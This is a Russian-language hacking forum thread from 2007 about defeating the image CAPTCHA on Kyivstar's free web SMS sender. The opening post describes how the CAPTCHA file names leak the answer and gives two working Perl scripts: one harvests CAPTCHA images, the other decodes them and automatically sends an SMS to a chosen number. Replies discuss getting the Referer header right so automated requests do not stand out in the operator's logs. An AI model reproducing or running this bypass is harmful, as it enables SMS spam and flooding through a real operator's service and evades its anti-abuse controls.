Kyivstar CAPTHA IV

Discussion in 'PHP' started by demonoid, 19 Sep 2007.

  1. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Kyivstar CAPTHA IV


    I.Введение
    1. Пару слов от меня
    2. Студия Лебедева

    II.История исследования
    1. Первые впечатления
    2. Сортировка собранного материала
    III.Реализация, примеры
    1. Даулоадер captha картинок
    2. Пример отправки сообщения


    I.Введение
    1. Пару слов от меня
    Киевстaр ИМХО хороший оператор - сам им пользуюсь, приемлемые тарифы, хорошая связь.
    Я не заинтересован наносить какой - либо ущерб оператору, и поетому выкладываю запоздалый материал( тобиш уже пофиксили )
    1. Студия Лебедева

    Разработчики всего сайта ,да и данной защиты от спама , является студия "Артемия Лебедева".
    Студия Лебедева немало известна:
    "19 июня 2001 года на церемонии награждения победителей сорок восьмого Международного фестиваля рекламы «Каннские львы 2001» Студию Артемия Лебедева наградили бронзовым львом (Cyber Lion, категория Rich Media Banners) за серию нарисованных дизайнером студии Олегом Пащенко flash-баннеров «Дизайн спасет мир»"
    источник : _http://www.artlebedev.ru/news/2001/algrelease_261.html

    II.История исследования
    1. Первые впечатления
    Когда я узнал что старую капчу(CAPTHA III) переделали ,зашел на страничку киевстара , решил взглянуть что и как там .
    Всё было как прежде , только длинна кода каждой картинки была разной , это и насторожило .
    Коды картинок небыли похожи между собой ( как было в третий капче - константы соединения ).
    После это я всё забросил всё это дело. Спустя неделю, снова решил все-таки отыскать что-то.
    Решил сохранять все картинки живой природы с кодами. Нечего интересно с этого не вышло , много времени потратил
    Результата 0 картинки были одинаковыми , а вот их коды совсем не были похожи - почти всё разной длинны и т.д. Позже я решил повторить предыдущие действия , на этот раз я написал скриптик для сбора картинок,- граблей в написание почти не было, так как я немного модифицировал предыдущий скрипт.
    Скрипт описание и комментарии смотрим в 3-й главе

    1. Сортировка собранного материала

    Скриптом я набрал около ~220 картинок. Пришло время искать что-то схожие. Я начал замечать одинаковые окончание файлов
    Отсортировав файлы по окончаниям, у меня вышло 20 папок :

    Code:
    334547344F0840E178FC0e3
             8DDA07C009F4E3
             2D60E632B2795B
        3494C4F70BB1A973B26
              20B9DB12FDA9A
          29B4A8EDF0D4060E0
              4CD30DCA59DA4
              8CE1148A2A156
     263473E3826CD902C237C6
            2D8BD0345BE3472
             4A5EAE2811CE45
         24691483129FF7D42D
              356E4403F59A0
                 5F48180428
           3E982518932CF8BD
             6282A989E21DE0
           75409329CDCBD22D
              7030A8CBADD3D
              9D9614E41B573
             8B6514DAEEBA05

    Code:
    C:\img\sort\thr>tree /F
    Вот что получил (перевожу малый кусочек, для избегания больших постов):
    Code:
    Структура папок
    Серийный номер тома: XXXX-XXXX
    C:\
    
    +---334547344F0840E178FC0e3
    ¦          E114C4761C3DC52111  334547344F0840E178FC0e3.jpg  [-] 
    ¦           1A8F82721774AE105  334547344F0840E178FC0e3.jpg  [-]
    ¦       1C3574F90767894545114  334547344F0840E178FC0e3.jpg  [-]
    ¦          7CA85C667767632113  334547344F0840E178FC0e3.jpg  [-]
    ¦           56D935235BF030291  334547344F0840E178FC0e3.jpg  [+]
    ¦       79F28EB6BD42593456110  334547344F0840E178FC0e3.jpg  [-]
    ¦       79F28EB6BD42593456113  334547344F0840E178FC0e3.jpg  [-]
    ¦      162C03A633356345056110  334547344F0840E178FC0e3.jpg  [-]
    ¦       01760EF081D82E6556119  334547344F0840E178FC0e3.jpg  [-]
    ¦         66557CFC07092454591  334547344F0840E178FC0e3.jpg  [+]
    ¦         66557CFC07092454597  334547344F0840E178FC0e3.jpg  [+]
    ¦            C24AD517FE525684  334547344F0840E178FC0e3.jpg  [+] 
    ¦         C25E7FC133B5F134699  334547344F0840E178FC0e3.jpg  [+]
    ¦
    +---8DDA07C009F4E3
    ¦             9E0D656C0682185635343115  8DDA07C009F4E3.jpg  [-]
    ¦               162C03A633356345056114  8DDA07C009F4E3.jpg  [-]
    ¦                  66557CFC07092454597  8DDA07C009F4E3.jpg  [+]
    ¦                  C5DE8F1843E8EE57688  8DDA07C009F4E3.jpg  [+]
    ¦                  C5DE8F1843E8EE57689  8DDA07C009F4E3.jpg  [+]
    ¦                    C24AD517FE5256111  8DDA07C009F4E3.jpg  [-]
    ¦                      CD72DF83AC5C104  8DDA07C009F4E3.jpg  [-]
    ¦                DD6EFFD6404D176456495  8DDA07C009F4E3.jpg  [+] 
    ¦                    1A8F82721774AE116  8DDA07C009F4E3.jpg  [-]
    ¦                  66557CFC07092454592  8DDA07C009F4E3.jpg  [+]
    ¦                   7CA85C667767632119  8DDA07C009F4E3.jpg  [-]
    ¦
    +---8B6514DAEEBA05
    ..........
    Плюсом отмечены картинки живой природы.
    В дальнейшем я заметил чем-то похожие коды картинок

    Code:
    79F28EB6BD4259345698  2D60E632B2795B.jpg
    FFD6404D1764564798  3494C4F70BB1A973B26.jpg
    После визуального разделения вот что получилось

    Code:
    79F28EB6BD42593456 [B][COLOR=DarkOrange]98[/COLOR][/B]  2D60E632B2795B.jpg
    FFD6404D17645647   [B][COLOR=DarkOrange]98[/COLOR][/B]  3494C4F70BB1A973B26.jpg
    
    Вот и мои выводы по поводу кода:
    Code:
    -Папки по которым я отсортировал картинки -константы ,а еще точней это соли.
    -Отбрасываем соль, считываем последние две цифры , это есть "сущность " картинки ( природа , не природа )
    -И наконец  отбрасываем соль и последние два цыфры , это есть позиция (координаты) звёздочки(помехи на картинке)
    После такого визуального отделения я перешел к практическому :) , разделил всё. И собрал свою базу живой природы

    Code:
    '83','84','85','86','87','88','89',
    '90','91','92','93','94','95','96',
    '97','98','99'
    Собственно и всё далее осталось написать скрипт , смотрим в следующей главе


    III.Реализация, примеры
    1. Даулоадер captha картинок
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use strict;
    use warnings;
    
    print "\t\tks_exemple.pl ~ / Kyivstar Image downloader / v1.1b\n".
          "\t\tby demonoid 212-905-288\n".
          "\t\tspecical for forum.antichat.ru / 23.08.2007 /\n\n";
    
      my $ua  = LWP::UserAgent->new;
      #----------------------------------------------------------------->
      my $url = 'http://www.kyivstar.net/_sms/';
      my $path     = "C:/img/";
      my $img_god  = 0;
      my $img_bed  = 0;
      my $errfile  = "error_img.log";
      my $gdfile   = "good_img.log";
      #----------------------------------------------------------------->
      for(0..24){
      my $request = HTTP::Request->new(GET => $url);
      my $response = $ua->request($request);
      my $res = $response->content;
      my ( @img_code , $con_code ,$img);
      #print $res; 
      @img_code = ( $res =~ m/<img src="(\w+)"/gi);
      $con_code = ( $res =~ m/<input type="hidden" name="code" id="code_(\d+)" value="(\w+)"/gi);
      #-------------------------------------------------------------->
      open(ERR_FILE,">>$path$errfile") || exit print "[-]Cant open $errfile\n";
      open(GD_FILE, ">>$path$gdfile")  || exit print "[-]Cant open $gdfile\n";
    
      for(0..8) 
      {
          $img="http://kyivstar.net/_sms/$img_code[$_]";
          $res = $ua -> get("$img", ':content_file' => "$path$img_code[$_].jpg",
                       'Referer' => 'http://kyivstar.net/_sms/?lang=ua');
         if( $res->status_line =~/404/ )  
         {
           print ERR_FILE "$img_code[$_]\n";
           $img_bed++; 
         }
         
         else 
         { 
           print GD_FILE "$img_code[$_]\n";
           $img_god++; 
         }
      
      }
      }
      print "\t\tGood img : $img_god \tBeed img : $img_bed\n".
            "\t\t----------------------------\n\n".
            "\t\t[+]All dome!\n".
            "\t\t[!]Loock  img : $path \n". 
            "\t\t[~]Error file : $path$errfile\n".
            "\t\t[~]Good  file : $path$gdfile\n";
    
    close ERR_FILE;
    close GD_FILE;
    
    Все картинки и логии в C:/img/
    1. Пример отправки сообщения
    Code:
    #!/usr/bin/perl
    
    use LWP::UserAgent;
    use strict;
    use warnings;
    
      my ( @live_images,@images_sid,@last3figure,@length,$curr_salt,$curr_live_images,$live_images_code);
      my $debug_mode = 0; #режим отладки  '1'
      my $c = 0;
      my $k = 0;
     
      my @good_img = ( '83','84','85','86','87','88','89',
                       '90','91','92','93','94','95',
                       '96','97','98','99' );
      
      # salt двумерный массив который содержит последние 3 символа, и длину каждой соли 
      # к примеру @salt[0][0] = 0e3 ,окончание соли 0e3 - длинна этой соли @salt[1][0] = 23
      # и т.д.
      
      my @salt=( ['0e3','4E3','95B','B26','A9A','0E0','DA4',
                  '156','7C6','472','E45','42D','9A0','428',
                  '8BD','DE0','22D','D3D','573','A05' ],
               [ '23','14','14','19','13','17','13','13','22','15',
                 '14','18','13','10','16','14','16','13','13','14' ]);
        
      my $ua  = LWP::UserAgent->new;
      my $url = 'http://www.kyivstar.net/_sms/';
    
      my $request = HTTP::Request->new(GET => $url);
      my $response = $ua->request($request);
      my $res = $response->content;
      #print $res; 
      
      @live_images   = ( $res =~ m/<img src="(\w+)"/gi);
      @images_sid = ( $res =~ m/<input type="hidden" name="images_sid" value="(\w+)"/gi);
    
      for(0..8)
      {
         debug("| 0x0%d ",$_+1);
         $length[$_] = length($live_images[$_]);
         $last3figure[$_] = substr($live_images[$_],$length[$_]-3,3);
         debug("| %50s | %s |\n",$live_images[$_],$last3figure[$_]);
      }
      
      debug("\n");
      
      
      for(0..8) # 20 salt
      {
        debug("| 0x0%d ",$_+1);
        $curr_salt = $last3figure[$_];	
        for(0..19)
        {
    
           if( $curr_salt =~ /$salt[0][$_]/ )
           {
               debug("| %3s | %2d |",$salt[0][$_],$salt[1][$_]);
               $length[$c] = $salt[1][$_];
               $c++; 
           }
        }
       $live_images[$_] = substr($live_images[$_],-$length[$_]-2,2);
        debug(" %2d |\n",$live_images[$_]);    
      }
      
     debug("\n");
     for(0..8)
       {
          $k++;
          $curr_live_images = $live_images[$_];
          for(0..16)
          {
             if( $curr_live_images == $good_img[$_] ) 
             { 
                #print "[$k] $curr_live_images\n";
                debug("| 0x0%d | %2d | \n",$k,$curr_live_images); 			
                $live_images_code.="0$k";
             }
          }
       }
       debug("\nLive image code:%s\nImages sid:%d",$live_images_code,$images_sid[0]);
       
       &send_function($live_images_code,$images_sid[0]);
       
    #--------------------------------------------------------------------------------------->  
    sub debug
    {
      if($debug_mode)
      {
         my @buf = @_;
         printf @buf;
      }
    }
    #----------------------------------------------------------------------------------------->
    sub send_function
    {
      my ($live_images_code,$images_sid)=@_;
      my $browser = LWP::UserAgent->new;   
         $browser->agent('New captha v4.0');
         #$browser->proxy(['http'] => 'http://119.243.141.177:8080/');  
       
      my $mob_code     = "097";
      my $mob_number   = "XXXXXXX";
      my $messenge     = "hello_antichat.ru";
      my $url="http://kyivstar.net/_sms/";
    
      printf "\n\n\t[+]Send   %s-%s \n\tmessage:  \<<%s\>> \n",
              $mob_code,$mob_number,$messenge ;
        
      my $response = $browser->post($url,
           ["submitted"    => "true",        
            "lang"         => "ua",
            "sms_adv"      => "101",       
            "mobcode"      => $mob_code,
            "number"       => $mob_number, 
            "lat"          => 1,
            "message"      => $messenge,
            "images_sid"   => $images_sid,
            "live_images"  => $live_images_code],
            "Content-Type" => "application/x-www-form-urlencoded",
            "Referer"      => "http://kyivstar.net/_sms/",
            "Connection"   => "Keep-Alive",
            "Cache-Control"=> "no-cache");	
      my $status= $response->as_string();
        ( $status =~/messageID/g )?print "\t[+] messenge it is successfully sent\n":print "\t[-] messenge it is not sent";
      }
    
    Пример вызова
    Code:
    [+]Send   097-XXXXXXX
    message:  <<hello_antichat.ru>>
    [+] messenge it is successfully sent
    В целях более глубокого изложения материала, сделал режим отладки $debug_mode = 1
    Снова вызываем
    Code:
    | 0x01 |                 01760EF081D82E65561[B][COLOR=Red]19[/COLOR][/B][B][COLOR=DarkOliveGreen]4CD30DCA59[/COLOR][/B][B][COLOR=DarkOrange]DA4[/COLOR][/B] | [B][COLOR=DarkOrange]DA4[/COLOR][/B] | #0x01 -картинка №1 , DA4-окончание соли 
    | 0x02 |                 C25E7FC133B5F13461[B][COLOR=Red]04[/COLOR][COLOR=DarkOliveGreen]2D60E632B27[/COLOR][/B][B][COLOR=DarkOrange]95B[/COLOR][/B] | [B][COLOR=DarkOrange]95B[/COLOR][/B] | #0x02 -картинка №2 , 95B-окончание соли 
    | 0x03 |                   46477C4FD14B23451137[B][COLOR=Red]03[/COLOR][COLOR=DarkOliveGreen]0A8CBAD[/COLOR][/B][B][COLOR=DarkOrange]D3D[/COLOR][/B] | [B][COLOR=DarkOrange]D3D[/COLOR][/B] | #...
    | 0x04 |         02CF3C913149356535671[B][COLOR=Red]09[/COLOR][COLOR=DarkOliveGreen]3494C4F70BB1A973[/COLOR][/B][B][COLOR=DarkOrange]B26[/COLOR][/B] | [B][COLOR=DarkOrange]B26[/B][/COLOR] |
    | 0x05 |                  827C7585B76464[B][COLOR=Red]86[/COLOR][COLOR=DarkOliveGreen][COLOR=DarkOliveGreen]29B4A8EDF0D406[/COLOR][/COLOR][/B][B][COLOR=DarkOrange]0E0[/COLOR][/B] | [B][COLOR=DarkOrange]0E0[/B][/COLOR] |
    | 0x06 |                66557CFC070924545[B][COLOR=Red]97[/COLOR][COLOR=DarkOliveGreen]75409329CDCBD[/COLOR][/B][B][COLOR=DarkOrange]22D[/COLOR][/B] | [B][COLOR=DarkOrange]22D[/B][/COLOR] |
    | 0x07 |                    FFD6404D17645647[B][COLOR=Red]95[/COLOR][COLOR=DarkOliveGreen]356E4403F5[/COLOR][/B][B][COLOR=DarkOrange]9A0[/COLOR][/B] | [B][COLOR=DarkOrange]9A0[/B][/COLOR] |
    | 0x08 |             9E0D656C06821856353431[B][COLOR=Red]12[/COLOR][COLOR=DarkOliveGreen]8B6514DAEEB[/COLOR][/B][B][COLOR=DarkOrange]A05[/COLOR][/B] | [B][COLOR=DarkOrange]A05[/B][/COLOR] |
    | 0x09 |                      C24AD517FE5256[B][COLOR=Red]84[/COLOR][COLOR=DarkOliveGreen]9D9614E41B[/COLOR][/B][B][COLOR=DarkOrange]573[/COLOR][/B] | [COLOR=DarkOrange][B]573[/COLOR][/B] |
    
    | 0x01 | [B][COLOR=DarkOrange]DA4[/COLOR][/B] | 13 | [B][COLOR=Red]19[/COLOR][/B] | #0x01 -картинка №1,DA4-окончание соли,13 длинна соли,19 - "сущность" картинки
    | 0x02 | [B][COLOR=DarkOrange]95B[/COLOR][/B] | 14 | [B][COLOR=Red]4 [/COLOR][/B] | #0x02 -картинка №2,95B-окончание соли,14 длинна соли,4  - "сущность" картинки
    | 0x03 | [B][COLOR=DarkOrange]D3D[/COLOR][/B] | 13 | [B][COLOR=Red]3 [/COLOR][/B] | #...
    | 0x04 | [B][COLOR=DarkOrange]B26[/COLOR][/B] | 19 | [B][COLOR=Red]9 [/COLOR][/B] |
    | 0x05 | [B][COLOR=DarkOrange]0E0[/COLOR][/B] | 17 | [B][COLOR=Red]86[/COLOR][/B] |
    | 0x06 | [B][COLOR=DarkOrange]22D[/COLOR][/B] | 16 | [B][COLOR=Red]97[/COLOR][/B] |
    | 0x07 | [B][COLOR=DarkOrange]9A0[/COLOR][/B] | 13 | [B][COLOR=Red]95[/COLOR][/B] |
    | 0x08 | [B][COLOR=DarkOrange]A05[/COLOR][/B] | 14 | [B][COLOR=Red]12[/COLOR][/B] |
    | 0x09 | [B][COLOR=DarkOrange]573[/COLOR][/B] | 13 | [B][COLOR=Red]84[/COLOR][/B] |
    
    | 0x05 | [B][COLOR=Red]86[/COLOR][/B] | #0x05 -картинка №5,86 - "сущность" картинки (живая природа по базе)
    | 0x06 | [B][COLOR=Red]97[/COLOR][/B] | #0x06 -картинка №6,97 - "сущность" картинки (живая природа по базе)
    | 0x07 | [B][COLOR=Red]95[/COLOR][/B] | #...
    | 0x09 | [B][COLOR=Red]84[/COLOR][/B] |
    
    Live image code:05060709 #номера картинок  0x05,0x06,0x07,0x09
    Images sid:3537373        
    
            [+]Send   097-XXXXXXX
            message:  <<hello_antichat.ru>>
            [+] messenge it is successfully sent
    
    И напоследок:
    _http://artlebedev.ru -сайт Студии Артемия Лебедева
    _http://www.kyivstar.net/_sms/ -киевстар , отправка сообщения
    _http://forum.antichat.ru/thread45934.html -3.0 капча
    _http://forum.antichat.ru/thread46080.html -3.1 капча, мой предыдущий материал ,данной тематики

    Важно :
    1. Материал исключительно в ознакомительных целях!
    2. Автор этой статьи не несёт ответственность за возможные последствия использования материала в целях, запрещенных УК Укр. и нормами международного права.
     
    #1 demonoid, 19 Sep 2007
    Last edited: 25 Sep 2007
    9 people like this.
  2. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Ты как будто курсовую работу писал: 90% воды :)

    Все ж просто:

    Code:
    [левая_хрень][COLOR=DarkRed]X[/COLOR][правая_хрень]
    Х - уникальный номер картинки
    Левая и правая хрень - это наборы из 20ти случайных строк.

    Но все равно зачет))



    Какая разница, все равно пофиксили:/
     
  3. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Кстати, реферер не
    http://kyivstar.net/_sms/

    а один из:
    http://kyivstar.net/_sms/?lang=ua
    http://kyivstar.net/_sms/?lang=ru
    http://kyivstar.net/_sms/?lang=en
     
  4. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    познавательно. Один мой знакомый вообще сделал интересную капчу. Нарисовал 10-ть картинок с цифрами и выдавал их подряд. Тоесть по ссылкам на картинки можно легко определить код. Я долго ржал, когда увидел такую реализацию. :)

    Только я не понимаю, зачем так все через хитро закрученную жопу делать, особенно такой канторе. Могли бы выдавать без всяких там 8DDA07C009F4E3.jpg, а тупо у всех одна ссылка на картинку capha.jpg, которая генерируется разными шрифтами с разным наклоном букв. Или GD тогда ещё не было?
     
  5. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Интерестный момент:

    Недели две или три назад, урлы у картинок были тупо порядковыми номерами этих картинок, т.е. 1, 2, 3, 4, 5, 6, 7, 8, 9. У первой урл был всегда 1, у второй - всегда 2 и тд. Информации в таких урлах - ноль!
    Небыло никаких страшных 01760EF081D82E65561194CD30DCA59DA4.jpg

    В какой то день к этим уралам добавился параметр точно не помню, но что то типа такого:
    Code:
    <img src="1?antichat=541254" />
    <img src="2?antichat=654654" />
    ...
    <img src="9?antichat=1965211" />
    
    потом убрали. Видимо боролись с кешем:)


    Через пару дней смотрю: снова вернули старые урлы, типа 01760EF081D82E65561194CD30DCA59DA4.jpg

    А сейчас -- снова порядковые номера :) на долго ли?
     
    #5 xMash, 21 Sep 2007
    Last edited: 21 Sep 2007
    1 person likes this.
  6. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    xMash
    Просьба описывает тематические ошибки более конкретно
    1. Если речь о даунлоадере картинок
      Code:
        .....
      'Referer' => '[COLOR=DarkOrange][B]http://kyivstar.net/_sms/?lang=ua[/B][/COLOR]');
       .... 
    2. Если про сендер . Разбор полётов :
    Code:
    POST /_sms/?lang=ua HTTP/1.1
    Host: kyivstar.net
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; 
    .......
    Connection: keep-alive
    Referer: [B][COLOR=DarkOrange]http://kyivstar.net/_sms/[/COLOR][/B]
    ...........
    
    Что не нравиться в рефере сендера?
    Пакет выловлен плагином под ФФ Live HTTP headers
     
    #6 demonoid, 21 Sep 2007
    Last edited: 21 Sep 2007
  7. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    demonoid,
    Я про реферер сендера

    Зайдите на http://kyivstar.net/sms/, там в ифрейме всегда фигурирует параметр lang
    Code:
    <iframe src="/_sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe>
    
     
    #7 xMash, 21 Sep 2007
    Last edited: 21 Sep 2007
  8. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    Нормальныйы реферер, только с таким реферером вы скорее всего себя палите.
    Ведь, про подмену реферера в наши дни знают, наверное, все. Поэтому там, наскольлко я заметил, стотит, что то типа ловушки: пустой реферер не канает, а все остальное что содержить kyivstar, хавается. Проверял.

    Тоесть в логах ваши рефереры будут выделяться на фоне остальных, потому что вы допустили в нем ошибку.

    Это конечно, всего лиш мое предположение.
     
  9. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Code:
    <iframe src="/[SIZE=5][B][COLOR=Red]_[/COLOR][/B][/SIZE]sms/?lang=ua" frameborder="0" scrolling="no" width="600" height="550"></iframe>
    Сам ответил на свой вопрос:
    _хттп://www.kyivstar.net/_sms/
    вместо хттп://www.kyivstar.net/sms/

    Внимательно смотрим исходники :\
    Code:
    26:   my $ua  = LWP::UserAgent->new;
    27:   my $url = 'http://www.kyivstar.net/[SIZE=5][B][COLOR=Red]_[/COLOR][/B][/SIZE]sms/';
    Вопрос исчерпан
    пс:хватит нести чушь :/
     
    1 person likes this.
  10. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    чушь???????????????


    это твой реферер:) мне насрать
     
    #10 xMash, 22 Sep 2007
    Last edited: 22 Sep 2007
  11. demonoid

    demonoid Banned

    Joined:
    12 Jan 2007
    Messages:
    101
    Likes Received:
    111
    Reputations:
    27
    Я понимаю Орел птица гордая.
    Но ты неправ.
    По порядку : http://kyivstar.net/sms/

    Code:
    iframe src="/_sms/?lang=ua" frameborder="0"
    Code:
    Тег <IFRAME> создает плавающий фрейм, который находится внутри обычного документа, он позволяет загружать в область заданных размеров любые [U]другие[/U] независимые документы.
    В нашем случае это документ:
    http://kyivstar.net/_sms/?lang=ua
    Со страницы http://kyivstar.net/_sms/ ловим пакет (при отправке сообщения):
    Code:
    POST /_sms/?lang=ua HTTP/1.1
    Host: kyivstar.net
    User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7
    Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
    Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 300
    Connection: keep-alive
    [SIZE=5][COLOR=DarkOrange][B]Referer: http://kyivstar.net/_sms/[/B][/COLOR][/SIZE]
    Cookie: countSms=XX; images_sid=XX messageID=20070921224240.D1953C%40messenger
    Content-Type: application/x-www-form-urlencoded
    Content-Length: XX
    submitted=true&lang=ua&sms_adv=201&mobcode=0XX&number=XXXXXXX&lat=1&message=XXXXX&images_sid=XXXXXX&live_images=XXXXXX
    
    Реферер (referer, HTTP_REFERER) - адрес веб-сайта с которого пришел посетитель.
    Сендер:
    Code:
      my $url = 'http://www.kyivstar.net/_sms/';
    
      my $request = HTTP::Request->new(GET => $url);
      my $response = $ua->request($request);
      my $res = $response->content;
    http://www.kyivstar.net/_sms/ и есть мой рефер
    Я не пришел по ссылке, я запросил ответ от страницы, то есть я неоткуда не приходил.
    -Причём здесь подделка рефера?
    ПС: кто может, растолкуете уважаемому т. к я больше не могу нервы сдают: \
     
  12. Darkweider

    Darkweider Elder - Старейшина

    Joined:
    8 Feb 2007
    Messages:
    142
    Likes Received:
    13
    Reputations:
    0
    Опять в киевстаре ничему не научились...
     
  13. xMash

    xMash New Member

    Joined:
    19 Sep 2007
    Messages:
    15
    Likes Received:
    1
    Reputations:
    0
    1. Когда форма с смской постится то реферером является ифрейм. Согласны?

    идем дальше.

    2. На всех трех языковых версиях сайта
    http://www.kyivstar.net/sms/
    http://www.kyivstar.net/sms/ru/
    http://www.kyivstar.net/sms/en/

    ссылка на ифрейм ставится указанием параметра lang.
    http://www.kyivstar.net/_sms/?lang=ua
    http://www.kyivstar.net/_sms/?lang=ru
    http://www.kyivstar.net/_sms/?lang=en

    Таким образом, получается, что правильный реферер это один из этих трех
    http://www.kyivstar.net/_sms/?lang=ua
    http://www.kyivstar.net/_sms/?lang=ru
    http://www.kyivstar.net/_sms/?lang=en

    Где вы взяли этот линк, без параметра?

    Другими словами: "правильный" отправитель смс (не спамер и не флудер) не станет открывать ифрейм в отдельном окне браузера. Также?

    Предлогаю вам утром со свежей головой взглянуть на эту ситуацию. А то пятницоо всетаки:)